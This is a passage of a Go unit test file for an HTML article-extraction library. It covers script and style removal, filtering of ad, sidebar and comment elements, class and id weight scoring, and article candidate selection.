{\n\t\tt.Errorf(`Unexpected base URL, got %q instead of \"\"`, baseURL)\n\t}\n}\n\nfunc TestRemoveStyleScript(t *testing.T) {\n\thtml := `\n\t\t<html>\n\t\t\t<head>\n\t\t\t\t<title>Test</title>\n\t\t\t\t    <script src=\"tololo.js\"></script>\n\t\t\t</head>\n\t\t\t<body>\n\t\t\t\t<script src=\"tololo.js\"></script>\n\t\t\t\t<style>\n\t\t\t  \t\th1 {color:red;}\n\t\t\t  \t\tp {color:blue;}\n\t\t\t\t</style>\n\t\t\t\t<article>Some content</article>\n\t\t\t</body>\n\t\t</html>`\n\twant := `<div><div><article>Somecontent</article></div></div>`\n\n\t_, content, err := ExtractContent(strings.NewReader(html))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tcontent = strings.ReplaceAll(content, \"\\n\", \"\")\n\tcontent = strings.ReplaceAll(content, \" \", \"\")\n\tcontent = strings.ReplaceAll(content, \"\\t\", \"\")\n\n\tif content != want {\n\t\tt.Errorf(`Invalid content, got %s instead of %s`, content, want)\n\t}\n}\n\nfunc TestRemoveBlacklist(t *testing.T) {\n\thtml := `\n\t\t<html>\n\t\t\t<head>\n\t\t\t\t<title>Test</title>\n\t\t\t</head>\n\t\t\t<body>\n\t\t\t\t<article class=\"super-ad\">Some content</article>\n\t\t\t\t<article class=\"g-plus-crap\">Some other thing</article>\n\t\t\t\t<article class=\"stuff popupbody\">And more</article>\n\t\t\t\t<article class=\"legit\">Valid!</article>\n\t\t\t</body>\n\t\t</html>`\n\twant := `<div><div><articleclass=\"legit\">Valid!</article></div></div>`\n\n\t_, content, err := ExtractContent(strings.NewReader(html))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tcontent = strings.ReplaceAll(content, \"\\n\", \"\")\n\tcontent = strings.ReplaceAll(content, \" \", \"\")\n\tcontent = strings.ReplaceAll(content, \"\\t\", \"\")\n\n\tif content != want {\n\t\tt.Errorf(`Invalid content, got %s instead of %s`, content, want)\n\t}\n}\n\nfunc TestNestedSpanInCodeBlock(t *testing.T) {\n\thtml := `\n\t\t<html>\n\t\t\t<head>\n\t\t\t\t<title>Test</title>\n\t\t\t</head>\n\t\t\t<body>\n\t\t\t\t<article><p>Some content</p><pre><code class=\"hljs-built_in\">Code block with <span class=\"hljs-built_in\">nested span</span> <span class=\"hljs-comment\"># exit 1</span></code></pre></article>\n\t\t\t</body>\n\t\t</html>`\n\twant := `<div><div><p>Some content</p><pre><code class=\"hljs-built_in\">Code block with <span class=\"hljs-built_in\">nested span</span> <span class=\"hljs-comment\"># exit 1</span></code></pre></div></div>`\n\n\t_, result, err := ExtractContent(strings.NewReader(html))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif result != want {\n\t\tt.Errorf(`Invalid content, got %s instead of %s`, result, want)\n\t}\n}\n\nfunc TestGetClassWeight(t *testing.T) {\n\ttestCases := []struct {\n\t\tname     string\n\t\thtml     string\n\t\texpected float32\n\t}{\n\t\t{\n\t\t\tname:     \"no class or id\",\n\t\t\thtml:     `<div>content</div>`,\n\t\t\texpected: 0,\n\t\t},\n\t\t{\n\t\t\tname:     \"positive class only\",\n\t\t\thtml:     `<div class=\"article\">content</div>`,\n\t\t\texpected: 25,\n\t\t},\n\t\t{\n\t\t\tname:     \"negative class only\",\n\t\t\thtml:     `<div class=\"comment\">content</div>`,\n\t\t\texpected: -25,\n\t\t},\n\t\t{\n\t\t\tname:     \"positive id only\",\n\t\t\thtml:     `<div id=\"main\">content</div>`,\n\t\t\texpected: 25,\n\t\t},\n\t\t{\n\t\t\tname:     \"negative id only\",\n\t\t\thtml:     `<div id=\"sidebar\">content</div>`,\n\t\t\texpected: -25,\n\t\t},\n\t\t{\n\t\t\tname:     \"positive class and positive id\",\n\t\t\thtml:     `<div class=\"content\" id=\"main\">content</div>`,\n\t\t\texpected: 50,\n\t\t},\n\t\t{\n\t\t\tname:     \"negative class and negative id\",\n\t\t\thtml:     `<div class=\"comment\" id=\"sidebar\">content</div>`,\n\t\t\texpected: -50,\n\t\t},\n\t\t{\n\t\t\tname:     \"positive class and negative id\",\n\t\t\thtml:     `<div class=\"article\" id=\"comment\">content</div>`,\n\t\t\texpected: 0,\n\t\t},\n\t\t{\n\t\t\tname:     \"negative class and positive id\",\n\t\t\thtml:     `<div class=\"banner\" id=\"content\">content</div>`,\n\t\t\texpected: 0,\n\t\t},\n\t\t{\n\t\t\tname:     \"multiple positive classes\",\n\t\t\thtml:     `<div class=\"article content\">content</div>`,\n\t\t\texpected: 25,\n\t\t},\n\t\t{\n\t\t\tname:     \"multiple negative classes\",\n\t\t\thtml:     `<div class=\"comment sidebar\">content</div>`,\n\t\t\texpected: -25,\n\t\t},\n\t\t{\n\t\t\tname:     \"mixed positive and negative classes\",\n\t\t\thtml:     `<div class=\"article comment\">content</div>`,\n\t\t\texpected: -25, // negative takes precedence since it's checked first\n\t\t},\n\t\t{\n\t\t\tname:     \"case insensitive class\",\n\t\t\thtml:     `<div class=\"ARTICLE\">content</div>`,\n\t\t\texpected: 25,\n\t\t},\n\t\t{\n\t\t\tname:     \"case insensitive id\",\n\t\t\thtml:     `<div id=\"MAIN\">content</div>`,\n\t\t\texpected: 25,\n\t\t},\n\t\t{\n\t\t\tname:     \"non-matching class and id\",\n\t\t\thtml:     `<div class=\"random\" id=\"unknown\">content</div>`,\n\t\t\texpected: 0,\n\t\t},\n\t\t{\n\t\t\tname:     \"empty class and id\",\n\t\t\thtml:     `<div class=\"\" id=\"\">content</div>`,\n\t\t\texpected: 0,\n\t\t},\n\t\t{\n\t\t\tname:     \"class with special characters\",\n\t\t\thtml:     `<div class=\"com-section\">content</div>`,\n\t\t\texpected: -25, // matches com- in negative regex\n\t\t},\n\t\t{\n\t\t\tname:     \"id with special characters\",\n\t\t\thtml:     `<div id=\"h-entry-123\">content</div>`,\n\t\t\texpected: 25, // matches h-entry in positive regex\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(tc.html))\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"Failed to parse HTML: %v\", err)\n\t\t\t}\n\n\t\t\tselection := doc.Find(\"div\").First()\n\t\t\tif selection.Length() == 0 {\n\t\t\t\tt.Fatal(\"No div element found in HTML\")\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestRemoveUnlikelyCandidates(t *testing.T) {\n\ttestCases := []struct {\n\t\tname     string\n\t\thtml     string\n\t\texpected string\n\t}{\n\t\t{\n\t\t\tname:     \"removes elements with popupbody class\",\n\t\t\thtml:     `<html><body><div class=\"popupbody\">popup content</div><div class=\"content\">good content</div></body></html>`,\n\t\t\texpected: `<html><head></head><body><div class=\"content\">good content</div></body></html>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"removes elements with -ad in class\",\n\t\t\thtml:     `<html><body><div class=\"super-ad\">ad content</div><div class=\"content\">good content</div></body></html>`,\n\t\t\texpected: `<html><head></head><body><div class=\"content\">good content</div></body></html>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"removes elements with g-plus in class\",\n\t\t\thtml:     `<html><body><div class=\"g-plus-share\">social content</div><div class=\"content\">good content</div></body></html>`,\n\t\t\texpected: `<html><head></head><body><div class=\"content\">good content</div></body></html>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"removes elements with unlikely candidates in class\",\n\t\t\thtml:     `<html><body><div class=\"banner\">banner</div><div class=\"sidebar\">sidebar</div><div class=\"content\">good content</div></body></html>`,\n\t\t\texpected: `<html><head></head><body><div class=\"content\">good content</div></body></html>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"preserves elements with unlikely candidates but also good candidates in class\",\n\t\t\thtml:     `<html><body><div class=\"banner article\">mixed content</div><div class=\"content\">good content</div></body></html>`,\n\t\t\texpected: `<html><head></head><body><div class=\"banner article\">mixed content</div><div class=\"content\">good content</div></body></html>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"removes elements with unlikely candidates in id\",\n\t\t\thtml:     `<html><body><div id=\"banner\">banner</div><div id=\"main-content\">good content</div></body></html>`,\n\t\t\texpected: `<html><head></head><body><div id=\"main-content\">good content</div></body></html>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"preserves elements with unlikely candidates but also good candidates in id\",\n\t\t\thtml:     `<html><body><div id=\"comment-article\">mixed content</div><div id=\"main\">good content</div></body></html>`,\n\t\t\texpected: `<html><head></head><body><div id=\"comment-article\">mixed content</div><div id=\"main\">good content</div></body></html>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"preserves html and body tags\",\n\t\t\thtml:     `<html class=\"banner\"><body class=\"sidebar\"><div class=\"banner\">content</div></body></html>`,\n\t\t\texpected: `<html class=\"banner\"><head></head><body class=\"sidebar\"></body></html>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"preserves elements within code blocks\",\n\t\t\thtml:     `<html><body><pre><code><span class=\"banner\">code content</span></code></pre><div class=\"banner\">remove this</div></body></html>`,\n\t\t\texpected: `<html><head></head><body><pre><code><span class=\"banner\">code content</span></code></pre></body></html>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"preserves elements within pre tags\",\n\t\t\thtml:     `<html><body><pre><div class=\"sidebar\">preformatted content</div></pre><div class=\"sidebar\">remove this</div></body></html>`,\n\t\t\texpected: `<html><head></head><body><pre><div class=\"sidebar\">preformatted content</div></pre></body></html>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"case insensitive matching\",\n\t\t\thtml:     `<html><body><div class=\"BANNER\">uppercase banner</div><div class=\"Banner\">mixed case banner</div><div class=\"content\">good content</div></body></html>`,\n\t\t\texpected: `<html><head></head><body><div class=\"content\">good content</div></body></html>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"multiple unlikely patterns in single class\",\n\t\t\thtml:     `<html><body><div class=\"banner sidebar footer\">multiple bad</div><div class=\"content\">good content</div></body></html>`,\n\t\t\texpected: `<html><head></head><body><div class=\"content\">good content</div></body></html>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"elements without class or id are preserved\",\n\t\t\thtml:     `<html><body><div>no attributes</div><p>paragraph</p></body></html>`,\n\t\t\texpected: `<html><head></head><body><div>no attributes</div><p>paragraph</p></body></html>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"removes nested unlikely elements\",\n\t\t\thtml:     `<html><body><div class=\"main\"><div class=\"banner\">nested banner</div><p>good content</p></div></body></html>`,\n\t\t\texpected: `<html><head></head><body><div class=\"main\"><p>good content</p></div></body></html>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"comprehensive unlikely candidates test\",\n\t\t\thtml:     `<html><body><div class=\"breadcrumbs\">breadcrumbs</div><div class=\"combx\">combx</div><div class=\"comment\">comment</div><div class=\"community\">community</div><div class=\"cover-wrap\">cover-wrap</div><div class=\"disqus\">disqus</div><div class=\"extra\">extra</div><div class=\"foot\">foot</div><div class=\"header\">header</div><div class=\"legends\">legends</div><div class=\"menu\">menu</div><div class=\"modal\">modal</div><div class=\"related\">related</div><div class=\"remark\">remark</div><div class=\"replies\">replies</div><div class=\"rss\">rss</div><div class=\"shoutbox\">shoutbox</div><div class=\"skyscraper\">skyscraper</div><div class=\"social\">social</div><div class=\"sponsor\">sponsor</div><div class=\"supplemental\">supplemental</div><div class=\"ad-break\">ad-break</div><div class=\"agegate\">agegate</div><div class=\"pagination\">pagination</div><div class=\"pager\">pager</div><div class=\"popup\">popup</div><div class=\"yom-remote\">yom-remote</div><div class=\"article\">good content</div></body></html>`,\n\t\t\texpected: `<html><head></head><body><div class=\"article\">good content</div></body></html>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"preserves good candidates that contain unlikely words\",\n\t\t\thtml:     `<html><body><div class=\"banner article\">should be preserved</div><div class=\"comment main\">should be preserved</div><div class=\"sidebar body\">should be preserved</div><div class=\"footer column\">should be preserved</div><div class=\"header and\">should be preserved</div><div class=\"menu shadow\">should be preserved</div><div class=\"pure-banner\">should be removed</div></body></html>`,\n\t\t\texpected: `<html><head></head><body><div class=\"banner article\">should be preserved</div><div class=\"comment main\">should be preserved</div><div class=\"sidebar body\">should be preserved</div><div class=\"footer column\">should be preserved</div><div class=\"header and\">should be preserved</div><div class=\"menu shadow\">should be preserved</div></body></html>`,\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(tc.html))\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"Failed to parse HTML: %v\", err)\n\t\t\t}\n\n\t\t\tremoveUnlikelyCandidates(doc)\n\n\t\t\tresult, err := doc.Html()\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"Failed to get HTML: %v\", err)\n\t\t\t}\n\n\t\t\t// Normalize whitespace for comparison\n\t\t\tresult = strings.TrimSpace(result)\n\t\t\texpected := strings.TrimSpace(tc.expected)\n\n\t\t\tif result != expected {\n\t\t\t\tt.Errorf(\"\\nExpected:\\n%s\\n\\nGot:\\n%s\", expected, result)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestRemoveUnlikelyCandidatesShouldRemoveFunction(t *testing.T) {\n\t// Test the internal shouldRemove function behavior through the public interface\n\ttestCases := []struct {\n\t\tname     string\n\t\tattr     string\n\t\tattrType string // \"class\" or \"id\"\n\t\texpected bool   // true if should be removed\n\t}{\n\t\t// Special hardcoded cases\n\t\t{\"popupbody in class\", \"popupbody\", \"class\", true},\n\t\t{\"contains popupbody in class\", \"main-popupbody-content\", \"class\", true},\n\t\t{\"ad suffix in class\", \"super-ad\", \"class\", true},\n\t\t{\"ad in middle of class\", \"pre-ad-post\", \"class\", true},\n\t\t{\"g-plus in class\", \"g-plus-share\", \"class\", true},\n\t\t{\"contains g-plus in class\", \"social-g-plus-button\", \"class\", true},\n\n\t\t// Unlikely candidates regexp\n\t\t{\"banner class\", \"banner\", \"class\", true},\n\t\t{\"breadcrumbs class\", \"breadcrumbs\", \"class\", true},\n\t\t{\"comment class\", \"comment\", \"class\", true},\n\t\t{\"sidebar class\", \"sidebar\", \"class\", true},\n\t\t{\"footer class\", \"footer\", \"class\", true},\n\n\t\t// Unlikely candidates with good candidates (should not be removed)\n\t\t{\"banner with article\", \"banner article\", \"class\", false},\n\t\t{\"comment with main\", \"comment main\", \"class\", false},\n\t\t{\"sidebar with body\", \"sidebar body\", \"class\", false},\n\t\t{\"footer with column\", \"footer column\", \"class\", false},\n\t\t{\"menu with shadow\", \"menu shadow\", \"class\", false},\n\n\t\t// Case insensitive\n\t\t{\"uppercase banner\", \"BANNER\", \"class\", true},\n\t\t{\"mixed case comment\", \"Comment\", \"class\", true},\n\t\t{\"uppercase with good\", \"BANNER ARTICLE\", \"class\", false},\n\n\t\t// ID attributes\n\t\t{\"banner id\", \"banner\", \"id\", true},\n\t\t{\"comment id\", \"comment\", \"id\", true},\n\t\t{\"banner with article id\", \"banner article\", \"id\", false},\n\n\t\t// Good candidates only\n\t\t{\"article class\", \"article\", \"class\", false},\n\t\t{\"main class\", \"main\", \"class\", false},\n\t\t{\"content class\", \"content\", \"class\", false},\n\t\t{\"body class\", \"body\", \"class\", false},\n\n\t\t// No matches\n\t\t{\"random class\", \"random-class\", \"class\", false},\n\t\t{\"normal content\", \"normal-content\", \"class\", false},\n\t\t{\"empty string\", \"\", \"class\", false},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tvar html string\n\t\t\tif tc.attrType == \"class\" {\n\t\t\t\thtml = `<html><body><div class=\"` + tc.attr + `\">content</div></body></html>`\n\t\t\t} else {\n\t\t\t\thtml = `<html><body><div id=\"` + tc.attr + `\">content</div></body></html>`\n\t\t\t}\n\n\t\t\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(html))\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"Failed to parse HTML: %v\", err)\n\t\t\t}\n\n\t\t\t// Count elements before removal\n\t\t\tbeforeCount := doc.Find(\"div\").Length()\n\n\t\t\tremoveUnlikelyCandidates(doc)\n\n\t\t\t// Count elements after removal\n\t\t\tafterCount := doc.Find(\"div\").Length()\n\n\t\t\twasRemoved := beforeCount > afterCount\n\n\t\t\tif wasRemoved != tc.expected {\n\t\t\t\tt.Errorf(\"Expected element to be removed: %v, but was removed: %v\", tc.expected, wasRemoved)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestRemoveUnlikelyCandidatesPreservation(t *testing.T) {\n\ttestCases := []struct {\n\t\tname        string\n\t\thtml        string\n\t\tdescription string\n\t}{\n\t\t{\n\t\t\tname:        \"preserves html tag\",\n\t\t\thtml:        `<html class=\"banner sidebar footer\"><body><div>content</div></body></html>`,\n\t\t\tdescription: \"HTML tag should never be removed regardless of class\",\n\t\t},\n\t\t{\n\t\t\tname:        \"preserves body tag\",\n\t\t\thtml:        `<html><body class=\"banner sidebar footer\"><div>content</div></body></html>`,\n\t\t\tdescription: \"Body tag should never be removed regardless of class\",\n\t\t},\n\t\t{\n\t\t\tname:        \"preserves elements in pre tags\",\n\t\t\thtml:        `<html><body><pre><span class=\"banner\">code</span></pre></body></html>`,\n\t\t\tdescription: \"Elements within pre tags should be preserved\",\n\t\t},\n\t\t{\n\t\t\tname:        \"preserves elements in code tags\",\n\t\t\thtml:        `<html><body><code><span class=\"sidebar\">code</span></code></body></html>`,\n\t\t\tdescription: \"Elements within code tags should be preserved\",\n\t\t},\n\t\t{\n\t\t\tname:        \"preserves nested elements in code blocks\",\n\t\t\thtml:        `<html><body><pre><code><div class=\"comment\"><span class=\"banner\">nested</span></div></code></pre></body></html>`,\n\t\t\tdescription: \"Deeply nested elements in code blocks should be preserved\",\n\t\t},\n\t\t{\n\t\t\tname:        \"preserves elements in mixed code scenarios\",\n\t\t\thtml:        `<html><body><div class=\"main\"><pre><span class=\"sidebar\">code</span></pre><code><div class=\"banner\">more code</div></code></div></body></html>`,\n\t\t\tdescription: \"Multiple code block scenarios should work correctly\",\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(tc.html))\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"Failed to parse HTML: %v\", err)\n\t\t\t}\n\n\t\t\t// Count specific elements before removal\n\t\t\tbeforeHtml := doc.Find(\"html\").Length()\n\t\t\tbeforeBody := doc.Find(\"body\").Length()\n\t\t\tbeforePre := doc.Find(\"pre\").Length()\n\t\t\tbeforeCode := doc.Find(\"code\").Length()\n\n\t\t\tremoveUnlikelyCandidates(doc)\n\n\t\t\t// Count specific elements after removal\n\t\t\tafterHtml := doc.Find(\"html\").Length()\n\t\t\tafterBody := doc.Find(\"body\").Length()\n\t\t\tafterPre := doc.Find(\"pre\").Length()\n\t\t\tafterCode := doc.Find(\"code\").Length()\n\n\t\t\t// These elements should always be preserved\n\t\t\tif beforeHtml != afterHtml {\n\t\t\t\tt.Errorf(\"HTML elements were removed: before=%d, after=%d\", beforeHtml, afterHtml)\n\t\t\t}\n\t\t\tif beforeBody != afterBody {\n\t\t\t\tt.Errorf(\"Body elements were removed: before=%d, after=%d\", beforeBody, afterBody)\n\t\t\t}\n\t\t\tif beforePre != afterPre {\n\t\t\t\tt.Errorf(\"Pre elements were removed: before=%d, after=%d\", beforePre, afterPre)\n\t\t\t}\n\t\t\tif beforeCode != afterCode {\n\t\t\t\tt.Errorf(\"Code elements were removed: before=%d, after=%d\", beforeCode, afterCode)\n\t\t\t}\n\n\t\t\t// Verify that elements within code blocks are preserved\n\t\t\tif tc.name == \"preserves elements in pre tags\" || tc.name == \"preserves elements in code tags\" || tc.name == \"preserves nested elements in code blocks\" {\n\t\t\t\tspanInCode := doc.Find(\"pre span, code span, pre div, code div\").Length()\n\t\t\t\tif spanInCode == 0 {\n\t\t\t\t\tt.Error(\"Elements within code blocks were incorrectly removed\")\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestGetArticle(t *testing.T) {\n\ttestCases := []struct {\n\t\tname     string\n\t\thtml     string\n\t\texpected string\n\t}{\n\t\t{\n\t\t\tname:     \"single top candidate\",\n\t\t\thtml:     `<html><body><div id=\"main\"><p>This is the main content.</p></div></body></html>`,\n\t\t\texpected: `<div><div><p>This is the main content.</p></div></div>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"top candidate with high-scoring sibling\",\n\t\t\thtml:     `<html><body><div id=\"content\"><p>Main content here.</p></div><div id=\"related\"><p>Related content with good score.</p></div></body></html>`,\n\t\t\texpected: `<div><div><div id=\"content\"><p>Main content here.</p></div><div id=\"related\"><p>Related content with good score.</p></div></div></div>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"top candidate with low-scoring sibling\",\n\t\t\thtml:     `<html><body><div id=\"content\"><p>Main content here.</p></div><div id=\"sidebar\"><p>Sidebar content.</p></div></body></html>`,\n\t\t\texpected: `<div><div><div id=\"content\"><p>Main content here.</p></div><div id=\"sidebar\"><p>Sidebar content.</p></div></div></div>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"paragraph with high link density\",\n\t\t\thtml:     `<html><body><div id=\"main\"><p>This is content.</p></div><p>Some text with <a href=\"#\">many</a> <a href=\"#\">different</a> <a href=\"#\">links</a> here.</p></body></html>`,\n\t\t\texpected: `<div><div><div id=\"main\"><p>This is content.</p></div><p>Some text with <a href=\"#\">many</a> <a href=\"#\">different</a> <a href=\"#\">links</a> here.</p></div></div>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"paragraph with low link density and long content\",\n\t\t\thtml:     `<html><body><div id=\"main\"><p>This is content.</p></div><p>This is a very long paragraph with substantial content that should be included because it has enough text and minimal links. This paragraph contains meaningful information that readers would want to see. The content is substantial and valuable.</p></body></html>`,\n\t\t\texpected: `<div><div><div id=\"main\"><p>This is content.</p></div><p>This is a very long paragraph with substantial content that should be included because it has enough text and minimal links. This paragraph contains meaningful information that readers would want to see. The content is substantial and valuable.</p></div></div>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"short paragraph with no links and sentence\",\n\t\t\thtml:     `<html><body><div id=\"main\"><p>This is content.</p></div><p>Short sentence.</p></body></html>`,\n\t\t\texpected: `<div><div><div id=\"main\"><p>This is content.</p></div><p>Short sentence.</p></div></div>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"short paragraph with no links but no sentence\",\n\t\t\thtml:     `<html><body><div id=\"main\"><p>This is content.</p></div><p>Short fragment</p></body></html>`,\n\t\t\texpected: `<div><div><div id=\"main\"><p>This is content.</p></div><p>Short fragment</p></div></div>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"mixed content with various elements\",\n\t\t\thtml:     `<html><body><div id=\"main\"><p>Main content.</p></div><p>Good long content with enough text to be included based on length criteria and low link density.</p><p>Bad content with <a href=\"#\">too</a> <a href=\"#\">many</a> <a href=\"#\">links</a> relative to text.</p><p>Good short.</p><div>Non-paragraph content.</div></body></html>`,\n\t\t\texpected: `<div><div><div id=\"main\"><p>Main content.</p></div><p>Good long content with enough text to be included based on length criteria and low link density.</p><p>Bad content with <a href=\"#\">too</a> <a href=\"#\">many</a> <a href=\"#\">links</a> relative to text.</p><p>Good short.</p><div>Non-paragraph content.</div></div></div>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"nested content structure\",\n\t\t\thtml:     `<html><body><div id=\"article\"><div><p>Nested paragraph content.</p><span>Nested span.</span></div></div><p>Sibling paragraph.</p></body></html>`,\n\t\t\texpected: `<div><p>Sibling paragraph.</p><div><div><p>Nested paragraph content.</p><span>Nested span.</span></div></div></div>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"empty top candidate\",\n\t\t\thtml:     `<html><body><div id=\"empty\"></div><p>Some content here.</p></body></html>`,\n\t\t\texpected: `<div><div><div id=\"empty\"></div><p>Some content here.</p></div></div>`,\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(tc.html))\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"Failed to parse HTML: %v\", err)\n\t\t\t}\n\n\t\t\t// Get candidates like the real extraction process\n\t\t\tcandidates := getCandidates(doc)\n\t\t\ttopCandidate := getTopCandidate(doc, candidates)\n\n\t\t\tresult := getArticle(topCandidate, candidates)\n\n\t\t\tif result != tc.expected {\n\t\t\t\tt.Errorf(\"\\nExpected:\\n%s\\n\\nGot:\\n%s\", tc.expected, result)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestGetArticleWithSpecificScoring(t *testing.T) {\n\t// Test specific scoring scenarios\n\thtml := `<html><body>\n\t\t<div id=\"main-content\" class=\"article\">\n\t\t\t<p>This is the main article content with substantial text.</p>\n\t\t</div>\n\t\t<div id=\"high-score\" class=\"content\">\n\t\t\t<p>This sibling has high score due to good class name.</p>\n\t\t</div>\n\t\t<div id=\"low-score\" class=\"sidebar\">\n\t\t\t<p>This sibling has low score due to bad class name.</p>\n\t\t</div>\n\t\t<p>This is a standalone paragraph with enough content to be included based on length and should be appended.</p>\n\t\t<p>Short.</p>\n\t\t<p>This has <a href=\"#\">too many</a> <a href=\"#\">links</a> for its <a href=\"#\">size</a>.</p>\n\t</body></html>`\n\n\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(html))\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to parse HTML: %v\", err)\n\t}\n\n\tcandidates := getCandidates(doc)\n\ttopCandidate := getTopCandidate(doc, candidates)\n\n\tresult := getArticle(topCandidate, candidates)\n\n\t// Verify the structure contains expected elements\n\tresultDoc, err := goquery.NewDocumentFromReader(strings.NewReader(result))\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to parse result HTML: %v\", err)\n\t}\n\n\t// Should contain the main content\n\tif resultDoc.Find(\"p:contains('main article content')\").Length() == 0 {\n\t\tt.Error(\"Main content not found in result\")\n\t}\n\n\t// Should contain high-scoring sibling\n\tif resultDoc.Find(\"p:contains('high score')\").Length() == 0 {\n\t\tt.Error(\"High-scoring sibling not found in result\")\n\t}\n\n\t// Should contain long standalone paragraph\n\tif resultDoc.Find(\"p:contains('standalone paragraph')\").Length() == 0 {\n\t\tt.Error(\"Long standalone paragraph not found in result\")\n\t}\n\n\t// Should contain short paragraph with sentence\n\tif resultDoc.Find(\"p:contains('Short.')\").Length() == 0 {\n\t\tt.Error(\"Short paragraph with sentence not found in result\")\n\t}\n\n\t// Should NOT contain low-scoring sibling\n\tif resultDoc.Find(\"p:contains('low score')\").Length() > 0 {\n\t\tt.Error(\"Low-scoring sibling incorrectly included in result\")\n\t}\n\n\t// Should NOT contain paragraph with too many links\n\tif resultDoc.Find(\"p:contains('too many')\").Length() > 0 {\n\t\tt.Error(\"Paragraph with too many links incorrectly included in result\")\n\t}\n}\n\nfunc TestGetArticleSiblingScoreThreshold(t *testing.T) {\n\ttestCases := []struct {\n\t\tname              string\n\t\ttopScore          float32\n\t\texpectedThreshold float32\n\t}{\n\t\t{\n\t\t\tname:              \"high score candidate\",\n\t\t\ttopScore:          100,\n\t\t\texpectedThreshold: 20, // 100 * 0.2 = 20\n\t\t},\n\t\t{\n\t\t\tname:              \"medium score candidate\",\n\t\t\ttopScore:          50,\n\t\t\texpectedThreshold: 10, // max(10, 50 * 0.2) = max(10, 10) = 10\n\t\t},\n\t\t{\n\t\t\tname:              \"low score candidate\",\n\t\t\ttopScore:          30,\n\t\t\texpectedThreshold: 10, // max(10, 30 * 0.2) = max(10, 6) = 10\n\t\t},\n\t\t{\n\t\t\tname:              \"very low score candidate\",\n\t\t\ttopScore:          5,\n\t\t\texpectedThreshold: 10, // max(10, 5 * 0.2) = max(10, 1) = 10\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\t// Create a simple HTML structure\n\t\t\thtml := `<html><body>\n\t\t\t\t<div id=\"main\"><p>Main content</p></div>\n\t\t\t\t<div id=\"sibling\"><p>Sibling content</p></div>\n\t\t\t</body></html>`\n\n\t\t\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(html))\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"Failed to parse HTML: %v\", err)\n\t\t\t}\n\n\t\t\t// Create artificial candidates with specific scores\n\t\t\tmainDiv := doc.Find(\"#main\").Get(0)\n\t\t\tsiblingDiv := doc.Find(\"#sibling\").Get(0)\n\n\t\t\ttopCandidate := &candidate{\n\t\t\t\tselection: doc.Find(\"#main\"),\n\t\t\t\tscore:     tc.topScore,\n\t\t\t}\n\n\t\t\tcandidates := candidateList{\n\t\t\t\tmainDiv: topCandidate,\n\t\t\t\tsiblingDiv: &candidate{\n\t\t\t\t\tselection: doc.Find(\"#sibling\"),\n\t\t\t\t\tscore:     tc.expectedThreshold, // Set exactly at threshold\n\t\t\t\t},\n\t\t\t}\n\n\t\t\tresult := getArticle(topCandidate, candidates)\n\n\t\t\t// Parse result to check if sibling was included\n\t\t\tresultDoc, err := goquery.NewDocumentFromReader(strings.NewReader(result))\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"Failed to parse result HTML: %v\", err)\n\t\t\t}\n\n\t\t\t// Sibling should be included since its score equals the threshold\n\t\t\tif resultDoc.Find(\"p:contains('Sibling content')\").Length() == 0 {\n\t\t\t\tt.Errorf(\"Sibling with score %f should be included with threshold %f\", tc.expectedThreshold, tc.expectedThreshold)\n\t\t\t}\n\n\t\t\t// Test with score just below threshold\n\t\t\tcandidates[siblingDiv].score = tc.expectedThreshold - 